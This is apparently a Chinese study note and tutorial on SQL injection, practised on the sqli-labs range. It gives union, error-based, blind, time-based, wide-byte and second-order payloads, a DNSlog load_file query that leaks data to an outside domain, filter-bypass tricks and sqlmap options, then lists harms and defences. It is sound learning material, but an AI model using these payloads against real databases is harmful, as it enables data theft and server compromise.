本文章仅供个人学习,无参考价值。如有错误,欢迎大佬们指正~
文章目录
什么是sql注入
sql注入是指web应用程序对用户输入的数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
sql注入的原理
sql注入攻击是通过操作输入来修改sql语句,用以达到执行代码对web服务器进行攻击的方法。简单来说就是在post/get的web表单、输入域名或页面请求的查询字符串中插入sql命令,最终使web服务器执行恶意命令的过程。
sql注入方法
根据输入参数的不同,一般分为数字型注入和字符型注入
1.1 数字型注入
判断是否为数字型注入
select * from users where id=1 and 1=2 #sql原句
?id=1 and 1=2 #构造的sql注入语句
like判断
?id=1 and 1 like 2
当输入的参数为整型时,如果存在注入漏洞,则认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中。
1.2 字符型注入
字符型注入常见的闭合符类型
’ 、 " 、 ) 、 ') 、 ") 、 '))
判断是否为字符型注入
select * form users where id='1' and '1'='1' #sql原句
?id=1' and '1'='2 #构造的sql注入语句
sql注入类型
(语句以sql-libs靶场做例)
1.1 联合注入
判断字段数
?id=1' order by num--+
判断回显点
?id=-1' union select 1,2,3--+
查库名、版本号、用户名
?id=-1' union select 1,database()/version()/user(),2--+
?id=-1' union select 1,/*!10000version()*/,concat(database(),0x3b,user())--+
#模糊查询,!后数据大于当前数据库版本号
查表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
查数据
?id=-1' union select 1,username,password from users limit 1,1--+
1.2 xpath语法错误
涉及到两个函数,updatexml()和extractvalue()。
updatexml():数据库底层通过xml语句进行数据传递、更新(文档,路径:xpath类型(不能是$#~等),更新的数据)
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
extractvalue():读xml类型(文件名,xpath路径)
?id=1' and extractvalue(1,concat(0x23,(select database()),0x23))--+
1.3 整型溢出
mysql5.5.5版本以上才存在整型溢出报错
select (select (!x-~0) from (select database())x)c #sql原句
?id=1" and (select (select (!x-~0) from (select database())x)c)--+ #构造的sql注入语句
payload ——> select ~0+! (select * from (select users())x)
万能的字符payload ——> ’ or !(select * from (select user())x)-~0 or ’
exp():限于版本5.5<mysql<5.6能有效使用
select exp(~(select * from (select database())x)) #sql原句
?id=-1" and exp(~(select * from (select database())x))--+ #构造的sal注入语句
#x代表别名
1.4 floor()注入
适用环境:有且仅有报错回显时
常用到的函数:
floor(): 向下取整
ceil(): 向上取整
rand(): 随机数
count(): 计数
concat(): 连接字符串
select count(*) from information_schema.tables group by concat(database(),floor(rand(14)*2)) #sql原句
?id=1" and (select count(*) from information_schema.tables group by concat(database(),floor(rand(14)*2)))--+ #构造的sql注入语句
1.5 盲注
适用环境:无数据回显位、无数据库报错回显时(简单来说就是无回显)
常用函数:
substr(): 截取字符串
length(): 计算字符串长度
ascii(): 转成ascii码
#substr()的使用
select * from users where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 #sql原句
?id=1' and select * from users where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+ #构造的sql注入语句
#length()的使用
select * from users where id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 #sql原句
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5--+ #构造的sql注入语句
1.6 延时注入
常用函数:
if(1,2,3): 三元判断,如果真,则输出2,否则输出3
sleep(num): num秒
benchmark(次数,表达式): 重复执行表达式
笛卡尔积: AxB=表A和表B里所有元素组合,变成新表
select * from users where id=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1)))>103,sleep(5),1) #sql原句
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),3,1)))=103,sleep(5),1)--+ #构造的sql注入语句
1.7 POST型注入
万能密码(登录框使用的sql语句,逻辑不严谨)
'or 1=1 --_
'or 1=1 #
#or可用xor、||、%7c%7c代替
select * from users where username='admin' or '1' limit 3,1 #sql原句
#usename输入框内容
admin' or '1' limit 3,1 #
使用and拼接语句
1' and 1=2 union select 1,database()#
1.8 宽字节注入
由于字符型在查询过程中存在由字符转化整型时,会丢弃以数字开头外的字符的特性,如果数据库语句使用了GBK编码,则使用url编码%81~%FE拼接范围在%04-%FF字符时会组成为中文字符
可能使用的函数:
addslashes(): 返回在预定义字符之前添加反斜杠的字符串
(预定义字符:单引号’、双引号"、反斜杠\、null)
?id=1%81' and 0--+
?id=-1%81' union select 1,database(),version()--+
1.9 伪静态注入
在对应参数或者注入点处加一个*
http://www.test.com/index/id/1*
1.10 二次编码注入
类似于宽字节注入
当用户输入 id=1%27 时,PHP自身编码会将语句变成 id=1’ ,则会触发转义,语句变成了 id=1\' ,带入到sql注入中就变成了 id=1\’ and,则会导致不能注入。
PHP代码中的urldecode()等编码函数,放在一个使用尴尬的位置,与PHP自身编码配合失误时 ,则可以消除“\”。
当用户输入 id=%2527 时,PHP自身编码将语句变成 id=1%27 ,因为此处没有 ’ ,转义时不会触发转义,函数进行编码时则变成 id=1’ ,带入到sql注入中就变成 id=1’ and,可以注入。
1.11 二次注入
第一步:插入恶意数据。第一次进行数据库插入数据时,仅仅对其中的特殊字符进行了转义,在写入数据库时还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据。在将数据存入到了数据库中后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成sql的二次注入。
1.12 Dnslog盲注
代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息,这时候我们会通过布尔或者时间盲注来获取内容,但是整个过程效率较低,需要发送很多请求进行判断,很可能会触发安全设备防护。我们需要一种方法来减少请求,直接回显数据,这里就可以使用Dnslog实现注入。
原理:DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。
步骤:构造语句,利用load_file()函数发起请求,获取数据。
select load_file(concat('\\\\',(select database()),'Dnslog平台生成的域名\\键入的内容'))
“select database()”部分:通过SQL语句查询内容,作为请求的一部分,发送至Dnslog,只要对这一部分的语句进行构造,就能实现有回显的SQL注入,值得注意的是,这些数据格式和内容都有限制,需要进行一些处理。
常用函数
函数名称 | 函数功能 | 函数名称 | 函数功能 |
---|---|---|---|
system_user() | 系统用户名 | concat() | 没有分隔符的来南街字符串 |
user() | 用户名 | concat_ws() | 含有分隔符的连接字符串 |
current_user() | 当前用户名 | group_concat() | 连接一个组的所有字符串 |
session_user() | 连接数据库的用户名 | load_file() | 读取本地文件 |
database() | 数据库名 | into outfile | 写文件 |
version() | 数据库版本 | ascii() | 字符串的ascii代码值 |
@@datadir | 数据库路径 | ord() | 返回字符串第一个字符的ascii值 |
@@basedir | 数据库安装路径 | mid() | 返回一个字符串的一部分 |
@@version_compile_os | 操作系统 | substr() | 返回一个字符串的一部分 |
count() | 返回执行结果数量 | length() | 返回字符串的长度 |
left() | 返回字符串最左边的几个字符 | sleep(n) | 让此语句运行n秒 |
floor(x) | 返回小于或等于x的最大整数 | if() | 三元判断,if(1,2,3),如果真返回2,否则返回3 |
rand() | 返回0和1之间的随机数 | char() | 返回整数ascii代码字符组成的字符串 |
extractvalue() | 第一个参数:XML_document是string格式,为xml文档对象的名称 第二个参数:XPath_string(XPath格式的字符串) 作用:从目标xml中返回包含所查询值的字符串 | updatexml() | 第一个参数:XML_document是string格式,为XML文档对象的名称 第二个参数:XPath_string(XPath格式的字符串) 第三个参数:new_value,string格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 |
STRAMP() | 比较字符串内容 | IFNULL() | 加入参数1不为Null,则返回值为参数1,否则其返回值为参数2 |
exp() | 返回e的x次方 | limit() | 返回结果中的前几条或者中间的数据 |
常见的绕过方式
1.1 空格
寻找可替换执行的特殊字符,例如:+、%20、/**/、%0a等
1.2 注释
#、-- 、–+、/* */(内联注释)、%00
1.3 编码
hex编码、url编码、宽字节、unicode编码等
1.4 等价字符
and :&&、or :||、xor:| #、not:! 等
1.5 大小写、复写
大小写混写,例如:SelEct * From uSeRs whERe useRNaMe=‘admin’
复写就是写两个,过滤掉一个后,确保还会留下一个能够使用
sqlmap的简单使用
严禁在公网环境使用 --dump
–is-dba:当前用户权限(是否为root权限,mysql 下最高权限为sa)
–dbs:获取当前数据库基本信息及所有数据库名
–batch:执行默认设置
–dbms=mysql:选择数据库类型
–current-db:当前数据库
–user:所有数据库用户
–passwords:数据库密码
–proxy http://local:8089 --threads 5(可自定义线程加速):代理
–time-sec=TIMESEC:DBMS响应的延迟时间(默认5s)
–forms:表单注入,自动寻参
–tamper:sqlmap自带脚本
–cookie:身份效果
sqlmap -u "注入点" -D security --tables --batch #获取security数据库的所有表名
sql注入的危害
- 数据库信息泄露,数据库中存放的用户隐私信息泄露。
- 网页被挂马,传播恶意软件;对网页进行篡改,发布违法信息等。
- 数据库被恶意操作,对数据库的数据进行增删改等操作。
- 经过提权的步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,让攻击者得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
sql注入的防范措施
1、权限最小化
限制当前用户对数据库的执行命令权限、对数据库的查询权限、当前用户不为root用户,且仅允许查询当前业务表或库
2、过滤敏感字符、字符串
如select、update、insert、delete、union/all、database()、and、or、if等字符、闭合符、注释符等以及他们的任意编码形式
3、硬件、软件waf,且更新规则库至最新
4、预处理:PDO,参数化查询